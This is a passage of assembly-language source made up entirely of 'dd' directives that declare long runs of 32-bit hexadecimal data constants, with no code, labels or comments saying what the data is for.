		dd 0D43586E5h, 54BDC75Eh, 0F9C9DC38h, 0A6911992h, 0F3FA00AEh
		dd 3AD96720h, 687F3653h, 309651BDh, 73C6FBD0h, 1A652AFBh
		dd 0D28C0100h, 3682F363h, 1D11DB11h, 0A141AB6Ah, 0D391825h
		dd 0FB143D01h, 7C37F1BAh, 57605244h, 0CC84ECD7h, 9269761Dh
		dd 1AB6992Fh, 29562697h, 144AE3Eh, 0CA45120Bh, 0B2EE17D0h
		dd 89B2E32Eh, 0C753731Fh, 0FA50F02Fh, 0FC83FB4Eh, 1C0D3429h
		dd 36E07A74h, 0F4D2A990h, 0E5AD409Eh, 6E21195Fh, 0CF2B771Ch
		dd 715993AAh, 167B0E44h, 3D983B18h, 76FD4E9Ah, 0C5286BE5h
		dd 87D4F50Fh, 0CAD97148h, 0FBDB62EEh, 13E746C4h, 0A959532Ah
		dd 2E585C6Ch, 0E6A36145h, 45370465h, 0FCA0DBEFh, 0BB7879FDh
		dd 5EAB626Dh, 0B78CA3D3h, 43D3511Eh, 0E23131E3h, 4540B4E7h
		dd 27D3AF3Bh, 0BA86056Fh, 354815E9h, 0C2D4630Ch, 3B3DB1DBh
		dd 3788BDBAh, 0F067DE7Ch, 0E0C8AEFh, 1981A65Fh,	6CEB02F3h
		dd 0FBDF78Eh, 0EFF42019h, 0B35DBD89h, 95CD1338h, 639CF39Bh
		dd 9B86F135h, 795E40F2h, 0C47FC0A5h, 0A83E9667h, 7E07622h
		dd 0FA8FDDB1h, 0F99EF394h, 0BCB6313Eh, 76E3F1C4h, 86A0755Eh
		dd 0EEBA8F64h, 568F54ADh, 0E6A02EE6h, 0FE4A05D9h, 0DD8FC638h
		dd 5ACE1E02h, 75610D75h, 341D0791h, 0A83E02EAh,	1B637510h
		dd 56A08AE4h, 1CC7E7CEh, 0CA9FBC3Fh, 0FCAAE3CDh, 0DCBDBCD3h
		dd 277C3C35h, 0F5FBAD64h, 0A33743CDh, 0C8881D40h, 0E3C32A07h
		dd 38C1CFAAh, 91593E81h, 34DFE365h, 0E5AA78A3h,	0E46D96F7h
		dd 6E743DA8h, 9B353288h, 0FECBEFA4h, 6759A353h,	96DE7E89h
		dd 4C441AFAh, 0AACA6986h, 262069F7h, 8537347Eh,	56129CF5h
		dd 726FE8FBh, 2CF1E43Dh, 5CCC050Ch, 8254227Bh, 0D450602Ah
		dd 4E07B19Eh, 2B85F392h
		dd 3F05BF2Ch, 0B8BBDB76h, 0EB4A63B3h, 0C03F0523h, 0FF87D974h
		dd 28D7C348h, 6A0DE603h, 0CC6862ECh, 0E3EC5FA5h, 5BE3BEF7h
		dd 0A911BA89h, 8E2CED75h, 1784729Fh, 3601C18Ch,	228D7251h
		dd 0B4C03AEEh, 6B80B998h, 88280CB2h, 0C56B3C83h, 725A5789h
		dd 5997FCEBh, 27AEF914h, 6EBF52B7h, 2999EEADh, 5AFF76E9h
		dd 0C1F243CBh, 35B94D8Ah, 1426139Ah, 3133A107h,	63F9DDEAh
		dd 82EE06E0h, 8495B3B3h, 31853901h, 44AD2AFCh, 7C53555Fh
		dd 33CE1EDCh, 4E44FF1Fh, 342C36DBh, 9F373971h, 7EA660D6h
		dd 9BB0F913h, 3B229CCFh, 0F7579A4Ch, 6F903350h,	760AFAB8h
		dd 3311F444h, 275C5557h, 7CFA2635h, 0D8D4A00h, 0D6785ECh
		dd 588985DDh, 0DB17C478h, 0E510819Ah, 8F1C60A3h, 462596BAh
		dd 0DE4777A5h, 95ED7B2h, 0F066BBFAh, 0CF6B445h,	8599DAD7h
		dd 8910A17Bh, 0B767F4AAh, 95D96DC3h, 1019BDC8h,	3CA12EFEh
		dd 3EF5C885h, 0D86C3CCFh, 0A5E0C6FAh, 963AF62Dh, 0BEF8D1D6h
		dd 8C3168D3h, 867D3E94h, 0BDE6365Eh, 0A8FD7EB5h, 0A95CAF2Fh
		dd 877D0885h, 9563DD07h, 319995A2h, 0E5058701h,	442D9F4Dh
		dd 401C3298h, 70A0E34Fh, 0A61DEC80h, 69D435E1h,	0A416BA2Ch
		dd 2D15A6EDh, 0B8236B24h, 498F9ACh, 44BC9CEDh, 0F2CC2195h
		dd 8C5ABB9Eh, 0AA3C04E0h, 0A496FE5Ah, 43F18269h, 956D692Ah
		dd 0DB1F00D2h, 0A6A4C217h, 0CCCF1A7Bh, 1D5C7D63h, 0AE91A689h
		dd 8675A11Bh, 0C7F29175h, 3BFDE7B0h, 7D522976h,	3DB7A2A7h
		dd 0F3669791h, 759DACF2h, 0F193EADCh, 272C0835h, 49843D3Ch
		dd 336A5360h, 0B91660C9h, 0FF131DB8h, 6A9CB6A9h, 730A86FBh
		dd 0AE8E6383h, 0B03CF9F0h, 0B1D685B6h, 59E1FA04h, 47C5916Dh
		dd 8A09EC59h, 2003ACD1h, 2613EFA9h, 2CDB9717h, 115E3D25h
		dd 0BED05F28h, 41AFCEF3h, 2F1DE649h, 65E9D0FFh,	0DB72A1A8h
		dd 0BE6C09ADh, 8D8C3F3h, 553D8ADCh, 4420200Ch, 0BAF59E46h
		dd 2D07ECEBh, 0ED8717E5h, 79381C91h, 162111B9h,	8A9936E2h
		dd 0CF3BFB85h, 90F45B56h, 9164888Ah, 0DAF42746h, 4A3C7AECh
		dd 996C4F5h, 3F468C65h,	69369C53h, 0DC0485AFh, 6A130DE7h
		dd 0EDC6055Ah, 7688B93Fh, 75CD138h, 875AAA4Eh, 52908E47h
		dd 0A2D64A8h, 14A5A198h, 0AEFE6624h, 0E914A45Ch, 44F5A1h
		dd 914C1E95h, 82F45545h, 68A204D4h, 0E372B2D1h,	536C5686h
		dd 4A26EF53h, 2BEC6035h, 0B41B656Dh, 9C18DCF2h,	0FBC2D4C9h
		dd 78FA42CEh, 0BFB537C9h, 0F58BC4BCh, 4A70DECEh, 0CFB81A94h
		dd 0B40BF56h, 5054EDCCh, 0B09B46BDh, 0D31717B4h, 0D7996EAh
		dd 0B23F160Eh, 8D675238h, 190FE525h, 0F302F8B7h, 4806C199h
		dd 0A85A6850h, 0D9F17451h, 431BE93Bh, 0FCE360C9h, 0AE544313h
		dd 15C9FFD7h, 0C99D45h,	0C2A15132h, 0F612AA65h,	95B4EDE6h
		dd 7EA96FB6h, 90EB9693h, 1E1993A7h, 0C30E47E3h,	78B520B1h
		dd 9F5DFD03h, 1EA06A06h, 527EC1E8h, 222E792Eh, 2BB3D4ADh
		dd 7CD55009h, 79AE7D64h, 5016300Fh, 0F5035999h,	0C0C758E1h
		dd 940A957Bh, 7BC954BCh, 64F25B4Ah, 68E16B8Ch, 57F65D1Eh
		dd 56FA1164h, 32F23277h, 401ADCDEh, 0ECFD5E24h,	6657FF3h
		dd 9A441C0h, 0D721AF38h, 465B2913h, 7E26B7B4h, 540BC2E8h
		dd 91216EE8h, 680E9D9Fh, 0ADCC7D3h, 1AECB56Eh, 4046AED2h
		dd 94032CA3h, 0E7A4CC0Eh, 0DA57E374h, 9633441Ch, 0AD35B93Bh
		dd 92346F72h, 2F0F3107h, 43358CECh, 7CE71C29h, 0A95325C9h
		dd 41DB320Fh, 0E895408h, 4497FBB9h, 0CE562744h,	2D833CA7h
		dd 52CD75E2h, 0D368FA23h, 0F9F9F48Fh, 0E2B13A41h, 0BCBE1AD9h
		dd 0AFA6FD48h, 2DB6B57Ah, 0A17BDA78h, 8B2F53F3h, 72118016h
		dd 0FB1EA5ACh, 0AC21D2F2h, 0E7C8843Ch, 6F0BFF99h, 834AD3B0h
		dd 13F7FC85h, 90759DFh,	1E57DD6Bh, 0B48FD072h, 0DEE916CFh
		dd 0DBF558F8h, 0F35887Eh, 93DF145h, 446B8AE5h, 55A5E725h
		dd 1267B20h, 0B9AB0D17h, 0E081F448h, 0FF27D67Dh, 115035F3h
		dd 0F6EDBC3Ch, 3939BDE3h, 6C29618Ah, 0AAAEFAA0h, 0E5C00CBCh
		dd 6799018Eh, 0D7786BA4h, 0EAC55DA8h, 7B85F653h, 3DD12128h
		dd 0A05DB6ECh, 649839Ch, 0D724D426h, 2CE97E02h,	339F086Bh
		dd 0BA4C67AAh, 0E815513Eh, 0E5A1EE19h, 0A9CB39F3h, 64BE4D74h
		dd 0B60B660Eh, 0C1D706CEh, 0A34F3C31h, 58F2890h, 0A452EA86h
		dd 0A043A84Ah, 2CE599D1h, 3BC77FDDh, 8D1F239h, 0B6ADEB56h
		dd 9F2EF662h, 0A2B33243h, 45897A71h, 0A186FAA6h, 0EAD0900Ch
		dd 7D4189FCh, 1C4A9382h, 501EA52Ch, 37369AE6h, 6CA61871h
		dd 389C8F6Eh, 0F62B7E6Ah, 0FD89F5C6h, 0B42C99E5h, 29BE01F1h
		dd 5571880Ah, 85C54EB5h, 9DB8BF68h, 43FDE491h, 93C1BF43h
		dd 619D5126h, 59CDC5E2h, 0D35C769Eh, 0C78444FCh, 81E80B5Ch
		dd 5AF9D6BCh, 5754203Fh, 76078844h, 5B60CB7Ah, 5114CC51h
		dd 69E2D009h, 47CFA999h, 595F0F44h, 10093971h, 3D723443h
		dd 75BF09DFh, 5158D2DDh, 54CBC04Fh, 0EFF3C100h,	4D440E8Fh
		dd 46158C46h, 0E7881E4Ch, 78CA5B0Fh, 8081C33Ah,	8EAEC90h
		dd 0BB006F13h, 97B7ED0Eh, 0D5FCB2A4h, 6008DE3Ch, 49D9FC4Fh
		dd 8E957BB3h, 0B625B26Dh, 0C082DCEh, 21F67EC7h,	15DDCAF0h
		dd 0E7E1B7FDh, 0E0856344h, 6D44B543h, 0D6754B6Fh, 27C02A24h
		dd 7C8C805Dh, 0EE8F73C1h, 4BA2CCA2h, 7AE62EDAh,	201E5F01h
		dd 0E723CDB0h, 9691ED87h, 6487C87Fh, 7AF2BCB9h,	0C0C91C67h
		dd 20A3105h, 121E1D42h,	8F02327Bh, 0BE1628EEh, 646CA63Eh
		dd 0A27BD93Bh, 63573DF5h, 0C3E4CA5Dh, 325ED3DAh, 87C3B9B9h
		dd 0A58749DAh, 0D75E9D9Eh, 0A7D057DFh, 70E794FBh, 36651729h
		dd 94CE5A04h, 7FC05510h, 9C74B514h, 73032676h, 1B220EB6h
		dd 3212A539h, 8321792h,	0C86751E5h, 0F766D5F6h,	837886A9h
		dd 184E0EF1h, 43D942CAh, 203964A7h, 2C457298h, 23C72E13h
		dd 0F329A60Ch, 5EAEDDE4h, 7FE116FAh, 5D1DD6C7h,	0BE3B8459h
		dd 659AFDEh, 0EFA9DB85h, 0A958D9D7h, 0A3B57F94h, 1F2B7C1Bh
		dd 13EA8068h, 0CF385364h, 8B244F8Dh, 8D777F37h,	54E6FDEDh
		dd 0D4C12554h, 1C447F80h, 9A754F70h, 766B14EAh,	3A6B062Dh
		dd 0CED2997Fh, 9EF3EF60h, 966CE9C2h, 0BB6F6C34h, 5F45E5F6h
		dd 0A41436A5h, 0C981C02Ch, 0EFB60E64h, 1D06DFDDh, 80FF4C4Fh
		dd 0AACEA170h, 0FF08A33Dh, 9D3E7416h, 0DCD3F521h, 0E6CE675Ah
		dd 3A77B0BEh, 0D634ED8Ah, 45080870h, 0A9525480h, 35DDC2D3h
		dd 0E97A09BAh, 0F851EB23h, 18F8835h, 4903BBEBh,	499750A4h
		dd 4150CBE1h, 0B30FEF7Ah, 0DC5C94A0h, 7334751h,	6C378E3h
		dd 75835C42h, 61D381FDh, 184DF49Ch, 0EE54C455h,	270E2E7Fh
		dd 0ECB6D817h, 0F8CAA5D0h, 95DD9A4Dh, 7DF1C41Bh, 0F0EEF5E1h
		dd 0E9058E54h, 0BD2F720h, 5BDAB748h, 67FAB016h,	7E45D7CBh
		dd 0C0DF700Dh, 9629C860h, 0AE4FE619h, 0A5820575h, 0C4C74F67h
		dd 2DE63359h, 854A7929h, 553AA237h, 0D448C8A5h,	5E9CFB27h
		dd 0EAE238FDh, 3551A290h, 0A52713B1h, 5F4912C7h, 760C37C6h
		dd 32C72909h, 0EA8AE419h, 285CA20Ch, 8869E7E8h,	587A89D4h
		dd 902F1E9Bh, 46E6EB9Ah, 0C9D32771h, 0B6B3E4B3h, 2C06459Fh
		dd 0A0510705h, 38997476h, 0D846C3A2h, 0C868D3B3h, 0D9F681C7h
		dd 0D3B354DFh, 466039B7h, 8CD6CABBh, 7DA58A64h,	35BD0D9h
		dd 0EBDA4194h, 17FCBD15h, 0DAB10E68h, 46D95CF8h, 0BDDE1E82h
		dd 0EB842999h, 9AFA4BB7h
		dd 0CA7E9AD6h, 6F885935h, 91518680h, 478AC697h,	9EE4A95h
		dd 0F55F626Ah, 8FB80B6Eh, 0D4534832h, 25456DD4h, 93900037h
		dd 42993C63h, 8BFA8A8Dh, 0CABE589h, 383C7866h, 236A2961h
		dd 2D1B8CC0h, 86705766h, 0E5D7B7FAh, 0B12268E5h, 98D151A7h
		dd 8AA90A17h, 0F5A04B6Ch, 0DAF7B3B4h, 0B05CB22Ch, 0FB4D7777h
		dd 577E34A4h, 0C5A765E2h, 0E9B5C128h, 8612C27Bh, 500830BBh
		dd 0E360AE6h, 8B12CFE6h, 1796EDDFh, 63713E04h, 9C78A3F7h
		dd 25FDC0E3h, 66A1AF25h, 32F9132Ah, 1736FE8Bh, 0D17CAB90h
		dd 2134929Dh, 1E74AD12h, 4312A108h, 15BA4DF9h, 39CE4BCh
		dd 400519B1h, 951D213Ch, 0B87570E2h, 0B81BAC9Fh, 0CE7E13C8h
		dd 0FD1AF78Bh, 5D645E6Eh, 0B384FAF9h, 0CE351D10h, 0E8894B14h
		dd 61618B09h, 69A1DBADh, 39D8CED2h, 16B3BE22h, 0C8A8497Ah
		dd 9E7EA09h, 0FE48BF7h,	0BF3ADAA3h, 0BCA79C3Dh,	4CE8708Ch
		dd 43D49AC0h, 0CB41AA04h, 641F9B45h, 0B867C21h,	0C930B3EDh
		dd 3FE8780Fh, 6274D426h, 96577D00h, 3FA04422h, 60C5AC29h
		dd 3B56C0D9h, 0BC935DA7h, 488045A9h, 906EC3CAh,	698432F8h
		dd 0B3EE6C9h, 7E80F3E7h, 7758FB91h, 3539459Ch, 1B0BCE5Fh
		dd 0C5FC7887h, 5BE594ECh, 0D6D146B3h, 5F692177h, 4153467Fh
		dd 0DDB6AB30h, 885C8F66h, 17B61AC7h, 0E01AE891h, 5F4E7CD7h
		dd 755A8081h, 6FCDA340h, 99F28A8h, 0DD28EEC4h, 525A7147h
		dd 0E849A5F9h, 80AE8AE1h, 0C342F679h, 381C921Ah, 44018DD5h
		dd 0F251790Fh, 0E47DBA11h, 26631CF4h, 73057691h, 228F1F13h
		dd 0E0933010h, 269318C1h, 119279EDh, 55F1941Ah,	6A0DCDDh
		dd 4A9E7D23h, 5295F30Eh, 737EDBAAh, 1BCFA942h, 265CA55Dh
		dd 61C6F6B1h, 8D5551Dh,	0ED4383A0h, 86391D3h, 0EADE5DE3h
		dd 441EA35Eh, 2A3BBAA6h, 0E6E24E18h, 7CDC4Fh, 52F08B55h
		dd 0C3290134h, 2F61884Bh, 0DC464AE8h, 0C669FC6Fh, 0FC8127E5h
		dd 0E14C31F8h, 7631C658h, 0DBD75F02h, 1054C94Dh, 8017D27Bh
		dd 138B7E4Ah, 596471C4h, 3CCD0750h, 0E516F53Ah,	0A5F8B5B6h
		dd 65076006h, 0AEF4FB1Eh, 0F681BA8h, 4C8B1FEEh,	4EA3102Ah
		dd 0BD465927h, 0DF42B805h, 62921B67h, 0A8ECD98h, 16D786F3h
		dd 4F52B558h, 0FBE39CB9h, 0E9E5F829h, 0DE1272Ch, 3F865C6h
		dd 0D88E2654h, 78B75C65h, 0C2D6844h, 2FDCF185h,	0ACBFE41Fh
		dd 983E2522h, 371A1211h, 0F39C95CAh, 0D0E909EBh, 0AD18242Bh
		dd 11880CD3h, 17AFC8CBh, 5DEF7FC7h, 0B365EAA9h,	0C3485C90h
		dd 6F9CCCD7h, 2EE25A23h, 78E91863h, 63999390h, 43FA9DAAh
		dd 0ABD2033Ch, 0D53CFF7Eh, 6BA57B1Ch, 4EBA4805h, 0B16D6C3Fh
		dd 0BD1EC94Fh, 0A5DF8DECh, 676C88CBh, 66260710h, 8A1CC374h
		dd 99D72A63h, 0B44E238Eh, 418F4CC4h, 883C5A2h, 0A4277741h
		dd 0E7CFEDA1h, 739B7CCCh, 59A02D48h, 19A43251h,	2832FFDBh
		dd 0DFE1DBA3h, 18956905h, 64851D7Bh, 83A89338h,	8E16B9B8h
		dd 5A35F6E7h, 0ED04B1A9h, 44E66433h, 997CD2F5h,	0F4B2882h
		dd 3F0A3795h, 379E6CD6h, 52D3D79h, 418B0C1Dh, 97C3BAA1h
		dd 3E21032h, 0FE7B4455h, 6A219F18h, 0DAAC725h, 0A2FBC9CBh
		dd 2164011h, 0BF6DD01Ch, 59A4A9DDh, 0AE2C63Eh, 14A80A49h
		dd 0BAFB67Ah, 5E160AB4h, 91C3BBBDh, 587633DCh, 81E92A15h
		dd 8290D7F9h, 28264F86h, 91CDA870h, 0C0D9A395h,	92F0C8AEh
		dd 0E6F0E3C4h, 0CDC9C459h, 0D0E5E0E5h, 0A61CBE72h, 70B4910Ch
		dd 58B2810Dh, 0AE364498h, 0D3ED791Fh, 0D74FE71Fh, 0FC13D804h
		dd 419C138Ah, 0A49CA47Ah, 59E4AA21h, 56DD2537h,	78949BE3h
		dd 61A1796Fh, 39A2FB90h, 0A8E0AE06h, 21FACAEh, 2EFAABF3h
		dd 0B19D3E73h, 0D76C8A51h, 0B1439376h, 910BEFC9h, 0B240959Bh
		dd 78E68EB9h, 21E80F61h, 0EC0CCE39h, 0D3FE53BDh, 9519BD09h
		dd 9FF3252Ah, 32165AC2h, 4DEA2D76h, 72D5F970h, 91A2730Eh
		dd 0E7F0DF94h, 0F6DFFB48h, 0BF844411h, 2F234FC2h, 312AD95Bh
		dd 0EC53B3D5h, 0B928EEF6h, 0FF70AC92h, 5BF53E0Eh, 0B65F3EC9h
		dd 9C92B36Dh, 4463E224h, 0C8DA6F4Ch, 1E5355E6h,	26A1632Eh
		dd 7E3AC11Bh, 6762DDD8h, 0C0D6F1ACh, 678EE84Bh,	0C370BB49h
		dd 912C138Ah, 62E69C1Eh, 327F551h, 165082BCh, 1B02DB85h
		dd 9F33CD31h, 6176F668h, 8B4CD813h, 4DB93688h, 6EC802C3h
		dd 318A917Ch, 2190CFEAh, 3505CE33h, 7F63B6CBh, 64B33089h
		dd 1EC7B180h, 26DA72C5h, 0FCAB6135h, 0B361EAF5h, 81222DE8h
		dd 31C1C4D5h, 1D883C0Bh, 0B8446DFEh, 3D2450DCh,	6498E88Ah
		dd 71343C5h, 17144C58h,	0F8E803Dh, 0B57C0115h, 0DDDDE5D7h
		dd 976E7548h, 0FFD16866h, 76C78007h, 4FBE32CDh,	0C17C73DEh
		dd 4DF498C9h, 330B03F3h, 68D16FCDh, 0E5B2340Ah,	0F4B14594h
		dd 32ED4E76h, 0FD92705Bh, 0D6B85A40h, 3C9E5575h, 7D8EC83Eh
		dd 96D0F98Bh, 0F72AFFD0h, 275464D8h, 7F0BE4C0h,	7DC138B8h
		dd 969DE4DCh, 0BDF32CC5h, 3F823D6Fh, 0A12898F2h, 91807A85h
		dd 21A6E4h, 0A408EFEAh,	4E5381A5h, 0A8079BACh, 0B849D78Ah
		dd 0F7BA1B7h, 3EC93B5Ah, 689009E5h, 21B0DC55h, 8AA5B242h
		dd 2AB6A32Ch, 0A04AAE3Ch, 20502C69h, 763649E3h,	0C12AA4BBh
		dd 0B0EC081h, 81C38705h, 4ED915E5h, 0E710A580h,	0EF97CEFEh
		dd 897A3C49h, 0BEC0AD62h, 13CC617Eh, 4FE3BB29h,	9639164Fh
		dd 0F9AF34Fh, 319FAC12h, 8DA0FA22h, 0A2DBAED6h,	3742F64Ah
		dd 0E2FAEE4Eh, 3704C983h, 0EA1D939Bh, 80021602h, 80C58717h
		dd 0DDA4A5D9h, 0B0E6D2E3h, 0EB3CD681h, 3D561069h, 7BD4EEB5h
		dd 982F59D4h, 3D95C4B6h, 0EC3324Ah, 0E8733454h,	0F4E77C30h
		dd 92C99664h, 0F2AF5170h, 753C6EE5h, 2A331A92h,	25AD2A68h
		dd 6A30EB84h, 80A8593Eh, 0E9D7545Dh, 0CCBB9989h, 0A191FB98h
		dd 0DB06CC86h, 0B49B7D7Ch, 47C9345Fh, 0DFDF8178h, 5BA95786h
		dd 2C9F4357h, 0CDA024D9h, 6DE17477h, 5CB872Fh, 0E30C55A0h
		dd 4474A2F2h, 9BF1564h,	8B63918Ch, 75CEC7F1h, 776914E7h
		dd 8DD3693Fh, 34F58080h, 6AC1634Eh, 34928301h, 220827F8h
		dd 0C59B9F06h, 2D7B864Ah, 0CB54202Dh, 0EEC15CE3h, 2CF1DE39h
		dd 21083FE1h, 0A4F405B2h, 6B352117h, 3586A33Dh,	0A8FE69DFh
		dd 9557ED18h, 0AA11587Ah, 1FFD1726h, 6EE44E94h,	0B036702Dh
		dd 0EB892236h, 0B5988626h, 0C319D929h, 78484BC4h, 916E2A6Bh
		dd 0DD7B9727h, 5A46CB98h, 0F14D81D1h, 0CC1C5778h, 16C83671h
		dd 6DF1D01Dh, 0B4A1D9A8h, 7AFAB0BBh, 6CC4600Fh,	8A67EB24h
		dd 5D5C50B8h, 0D59D24E6h, 0F82E7B9Fh, 0CDCA2CEAh, 768F043Dh
		dd 9A3E5CD0h, 0DAFDFB74h, 81CD2C03h, 0DA40F6DCh, 654B7934h
		dd 0A783CFFDh, 87E68E67h, 0A2533AEDh, 0CE4C7F7Ah, 49621751h
		dd 3018B560h, 73FAA7Eh,	525BB3Ch, 73578ADh, 2F94FC3Fh
		dd 0A48B20A4h, 0BF1B575Ch, 8E93A619h, 0A30E0390h, 0FAAE1F62h
		dd 0E228441Ch, 0EDD2C941h, 0B2D5436Fh, 0CE4A9F3Fh, 3AA037CBh
		dd 2827E7C9h, 17812CDFh, 0D8B355B4h, 0DDF63028h, 6168398Bh
		dd 0CEA7AF79h, 66DC0628h, 0C130C675h, 0A973B1B6h, 7F746FE3h
		dd 69D032B4h, 80230780h, 0F9FC1A55h, 7B3BFF1Dh,	3E7B29Eh
		dd 80E7FE58h, 0C8429678h, 5BC8BE3Dh, 0C0B3087Bh, 56C82819h
		dd 0EE42956Ch, 0B00C9B9Dh, 974FECE3h, 0C1508D01h, 2162BA9Ch
		dd 0C4269955h, 0BA6FA51Ch, 183D809Ch, 72D18F69h, 0AE02B9ACh
		dd 59E69ED7h, 2A84B7EFh
		dd 3AD20D21h, 0CA88991Dh, 0D374FD5h, 0EFC0840Ah, 27D50155h
		dd 0DC6E410Ah, 76943A60h, 82095A54h, 89AA48B9h,	96BC1289h
		dd 47083616h, 0CDAB2F34h, 947E1A7Ah, 14DCAF78h,	394EA642h
		dd 68D83865h, 34843094h, 4944F356h, 0FCF3A6DCh,	2934917Bh
		dd 758F636h, 2EA5856h, 0CB6759B3h, 0C97B7F4Eh, 0FC50C235h
		dd 2F98D961h, 1F6CDAAEh, 3B6CCD9Ah, 0BE9BD736h,	91078346h
		dd 7E688D7Ah, 0F7153FEBh, 48617A7Ah, 45CB7568h,	99670156h
		dd 0AA8E0CB6h, 10D7AB11h, 55C53C86h, 0D57D87A9h, 7D4F57ACh
		dd 0C5F0033Eh, 0B23593FCh, 0CD2ACDAh, 5F84F96Ch, 0D7FF0D3Ah
		dd 0A8A959E0h, 0B231F58h, 537F1087h, 2B469908h,	808820FEh
		dd 0E7DA368Ah, 6D38048Fh, 0D9F65A9Dh, 0A92D03Eh, 5007756Dh
		dd 45A6C79h, 7A39253Eh,	49F6A8A9h, 0A1F85D6Dh, 9A2ABC5Fh
		dd 0BA4AD8F8h, 79A811AFh, 89701B66h, 0CB41B528h, 0BD7127A3h
		dd 42122712h, 1ED1445Fh, 600E0ED8h, 0C5CFE192h,	0F3669934h
		dd 0F559B59h, 2C889B27h, 0DFA2DA9Fh, 0F008A110h, 2BD6D1F6h
		dd 37AC0584h, 1A9983F2h, 276EDDAFh, 0DB555126h,	393E8DD2h
		dd 0F79DFCB8h, 5854050Fh, 862C1D4Bh, 0A874C107h, 8C40026Ch
		dd 0D0B1E032h, 8077301h, 38FBFFC2h, 225900E9h, 116B55D6h
		dd 2DCF4DC3h, 0D2CB4061h, 633E91C3h, 870530A9h,	99BDC7A3h
		dd 5D56B3EEh, 0BD5C4660h, 0DC9AD19Fh, 0D6B3BB90h, 0B31B997h
		dd 72E8B8FBh, 0D4158047h, 0F156188Dh, 0FC9B99A4h, 919A35F6h
		dd 3519F8FBh, 651F6A7Ah, 0E986E882h, 3E0C29E7h,	622573ACh
		dd 4CDF42C0h, 0D0567F86h, 70C45026h, 0FDF3D1F7h, 0D402EC69h
		dd 13E0C0EAh, 0A21DA3F1h, 991E75E6h, 81E95955h,	0FC397515h
		dd 97A8215h, 5452D7Fh, 9267D73Bh, 49E26301h, 59E4BB49h
		dd 9EDF14B6h, 0BF579DC9h, 0D2011292h, 637AC411h, 5173E989h
		dd 994E65C5h, 0FCC9A670h, 1A4D5B1Bh, 34718B77h,	97A29510h
		dd 98723E60h, 0ACC70E9Ah, 3DB08C4h, 25231B25h, 5CDA825h
		dd 69921D39h, 14325E23h, 60A98FFFh, 0E9A2BD5h, 13E2DA1Ah
		dd 8AB41B88h, 7A055974h, 899208E5h, 169DB31Bh, 1247C59Bh
		dd 0B01B4592h, 9A045EF0h, 876B2EA7h, 18529C06h,	7F72F2A9h
		dd 4DF3B7C8h, 0F56A65C9h, 5BAF36D9h, 0B1398C23h, 0C4F4FD3Fh
		dd 69A9E002h, 6F89B457h, 5A5B093Bh, 0F67DFCF8h,	9DE9549h
		dd 37B59E26h, 0EE7C3251h, 200974A9h, 69080473h,	0A999AD3Bh
		dd 0BD22FB5h, 5F5F1B4Dh, 0C04126F8h, 78D12600h,	31586908h
		dd 0FAE7960Ah, 0C3E67FE9h, 1C91CC12h, 845DE22Fh, 592D6922h
		dd 68F0260Ch, 0E9F13F15h, 230B3A1h, 8000A66h, 0D05BEBE1h
		dd 525557D6h, 3F583FDBh, 0AB1EE954h, 0D4F42315h, 9DEA84ADh
		dd 359C5965h, 4B89D5D1h, 1DDC5494h, 0FFC884B3h,	19317BBEh
		dd 990FE0F2h, 0A74FA2E7h, 0C528A2B1h, 36FE466h,	0ADF865FBh
		dd 0AD2B78B2h, 88E224D7h, 58670273h, 292416D9h,	502990E8h
		dd 0E45CDFC9h, 0CAC2454Bh, 6646445h, 46571A18h,	567B19B6h
		dd 0E66679Dh, 752BCD77h, 20684BBh, 0E7560CE7h, 0CC7E11C4h
		dd 3055A128h, 7B3E2B6Ch, 13356331h, 426F045Ah, 0A1C77F7Eh
		dd 9AE24A83h, 0DC225EE2h, 0BDDCDE82h, 0C7674EAh, 82F96C18h
		dd 3C06A56Ch, 6F232F59h, 5138BA18h, 0EFC49FB0h,	0AD5FAA93h
		dd 2579EC98h, 1809E073h, 4A3C847Ah, 0E9FC800Dh,	49D33801h
		dd 1478A9E2h, 0A31A7A01h, 0B630D6Dh, 0A382F8FAh, 0BEF5ED51h
		dd 83CE1F57h, 0C664C157h, 767498A8h, 597B32DDh,	100751B3h
		dd 3ED08B1Ch, 583C9A22h, 0EA95F8FAh, 8E531668h,	6F184ED4h
		dd 0A4D04782h, 402C21FAh, 7618C65Ch, 5345F5D1h,	0CD362A1Dh
		dd 0A2D6F1B6h, 8E0CBBF5h, 0A891935Ah, 0D477C88Dh, 0CAA9E4DAh
		dd 0D808AEDEh, 2841790Dh, 3D3C4EACh, 0CDC2E334h, 0E9694107h
		dd 45F01349h, 561F341Bh, 6D49C0CDh, 8CF3A2BBh, 34CBFB80h
		dd 96C1D2E1h, 0D703BE76h, 0BF351191h, 0E7274646h, 5C22F5A2h
		dd 0C1A38F65h, 0F6E455FBh, 70508D7Dh, 1892BB2Fh, 9F46E883h
		dd 6A8B9E7Dh, 0D3DD5C4Ah, 0DAB52974h, 4ACC9C3Fh, 23D2D261h
		dd 218B1B96h, 0F625DC9Dh, 51DFAF24h, 10C617DCh,	0E498712Fh
		dd 98C1BE4Bh, 5D9F2787h, 0C5F5C338h, 68A77BF4h,	0E705196Eh
		dd 0DD45FFC8h, 38A1BE24h, 6495C54Bh, 0E9B966F6h, 43AA3CF1h
		dd 0A6F17BD0h, 423F7905h, 0F8AB2BA2h, 175FAF0Bh, 0B6EBEE4Ch
		dd 86E27A79h, 0CA68D0CCh, 0EA345399h, 6EC5DDB7h, 169A2A09h
		dd 0D2DA8105h, 0E601C3ADh, 5A763408h, 6A564545h, 0AEFC7C8Fh
		dd 41A8A6F5h, 56B2B0C0h, 0ADB97984h, 0D032129Bh, 3D057F9Ah
		dd 48270E05h, 37670878h, 8279E30Dh, 0E0C08F6h, 19B3F2C3h
		dd 42715710h, 329F1AB4h, 0CF8E54B8h, 5FF94000h,	0C8F3D551h
		dd 0BDAAF14Dh, 81E65293h, 0E2D029Ch, 71A7ED02h,	612BAFA7h
		dd 0DEA25AAh, 0B330490Eh, 0ED522367h, 9E865A5h,	521F4E4Dh
		dd 0CD5B1B04h, 1233444Ah, 8FF4C38Ch, 11A36158h,	0F4F5349Bh
		dd 7B07F287h, 0C9746204h, 0E4B2B68Dh, 0E72D03F2h, 4126A9h
		dd 8F89F8D3h, 0AF205EF5h, 0B9DF2C8Bh, 4E5B1194h, 9F084961h
		dd 0E4AE7329h, 8CBB7A59h, 0C988F40Eh, 3F920F40h, 0B96CCB59h
		dd 58FE1F02h, 162FDD56h, 2A0C992Dh, 4CDA8347h, 19476A9Bh
		dd 0FF4C5DBBh, 0AD0A4A7Ah, 9FECACD9h, 0FD2653E8h, 404DEBEBh
		dd 3F124597h, 7AC319D5h, 0E3213E44h, 0A093BED7h, 0CB7D1B01h
		dd 0C3FB84D4h, 473E97C6h, 3BA91632h, 29F54440h,	8812CF1Dh
